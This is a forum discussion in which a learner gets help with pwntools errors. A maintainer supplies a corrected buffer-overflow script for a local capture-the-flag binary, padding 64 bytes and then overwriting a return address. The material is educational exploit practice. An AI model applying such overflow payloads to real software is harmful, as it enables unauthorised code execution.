how i can make it work?

[mayomacam]

I have start learning pwntools as i was writing my program and try to disassemble elf i got this error. I try to edit and convert it to same value after some try it work starting to got error in another script. Anyway i can't make it work.
'''
Traceback (most recent call last):
File "/home/mayomacam/Music/reverse-engineering/pwntool/1.py", line 31, in
print(b.disasm(b.data, 16))
File "/home/mayomacam/.local/lib/python3.9/site-packages/pwnlib/elf/elf.py", line 1489, in disasm
return disasm(self.read(address, n_bytes), vma=address, arch=arch, endian=self.endian)
File "/home/mayomacam/.local/lib/python3.9/site-packages/pwnlib/elf/elf.py", line 1379, in read
stop = address + count
TypeError: can't concat int to bytes
'''

[Arusekk]

What type is b? is it an ELF? Maybe this deserves opening an issue?

[mayomacam]

yup b is a elf binary file from a reversing challange. And i wil open a issue. with code and details of files..

[Arusekk]

Alright, I now had a closer look and I think that this makes no sense: ELF.disasm takes address and size; you gave it some binary data and size, so it is no wonder that it didn't work.

Maybe you meant b.disasm(b.address, 16)? Or b.disasm(b.sym.data, 16)?

[mayomacam]

Yup that was indeed a mistake from my side that's why at first I open a discussion. Thanks for clearing to me.

[mayomacam]

one more thing here is one problem if i can get about this that will be great...

[+] Starting local process './warmup' argv=[b'./warmup'] : pid 52534
Traceback (most recent call last):
  File "exploit.py", line 7, in <module>
    payload += p64(0x0040060d)
TypeError: can only concatenate str (not "bytes") to str

code:-

from pwn import *
context.log_level='debug'
b = process("./warmup")
payload = ''
payload += '0'*64
#payload += '0'*0x40
#payload +=  "\x0d\x06\x40"   #here it work fine.. but with p32 or p64 depending upon binary give error
payload += p64(0x0040060d)
b.sendline(payload)
print(payload)
b.recvall()
b.interactive()

when ever i am using this i am getting the same error even when i run commented value..

[Arusekk]

This is as clear as it could be this time: you cannot add bytes to a str. You need to add bytes to bytes.

from pwn import *
context.log_level='debug'
b = process("./warmup")
payload = b''
payload += b'0'*64
#payload += b'0'*0x40
#payload +=  b"\x0d\x06\x40"   #here it work fine.. but with p32 or p64 depending upon binary give error
payload += p64(0x0040060d)
b.sendline(payload)
print(payload)
b.recvall()
b.interactive()

Also, have you heard about the great fit() function?

payload = fit({
    64 + 0x40: 0x0040060d
})

and it magically pads and packs stuff around so that it just works ^TM.

This is a huge thing that many people repeatedly fail to understand: binary data is not transparently convertible back and forth to text, unless you mean encoding/decoding it. See PEP 332 for why this is a huge trap to think that they are the same.

Pwntools aims to be easy and friendly and allows not only p.sendline(b"hello"), but p.sendline("hello") as well. This is a design choice I was not a strong supporter for, since I thought it would just confuse people like you, but I agreed that it is common to just omit b by chance while typing, so it speeds up rapid exploit development, and old exploits (written for py2 only) can often be made to work with less headache.

[mayomacam]

Thanks for telling me about fit() and confusion related bytes, no one tells me about it now. I am glad i asked about it.